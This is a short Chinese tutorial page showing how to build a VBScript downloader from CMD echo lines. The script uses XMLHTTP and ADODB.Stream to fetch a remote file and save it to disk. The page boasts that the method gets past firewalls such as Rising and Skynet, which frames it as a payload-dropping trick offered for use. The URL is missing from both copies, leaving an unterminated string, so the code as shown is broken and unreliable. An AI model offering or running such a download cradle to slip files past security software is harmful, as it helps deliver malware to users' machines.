当前位置:编程学习 > VB >>

CMD下执行VBS下载脚本

在CMD中一条一条地敲如下语句:
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >down.vbs
echo xPost.Open "GET"," >>down.vbs
echo xPost.Send() >>down.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>down.vbs
echo sGet.Mode = 3 >>down.vbs
echo sGet.Type = 1 >>down.vbs
echo sGet.Open() >>down.vbs
echo sGet.Write(xPost.responseBody) >>down.vbs
echo sGet.SaveToFile "sina_logo.gif",2 >>down.vbs

之后输入"cscript down.vbs"就执行了down.vbs

稍等片刻,一个文件就这样被下载了

其中

上面的代码就是把echo后面的语句写到down.vbs文件中,所以上面的效果也可以这样实现,把以下的代码存为down.vbs文件,双击运行就可以了。

Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "logo.gif",2

此方法可以透过瑞星、天网类似的防火墙!

哈哈,菜鸟的最爱!

补充:软件开发 , Vb ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,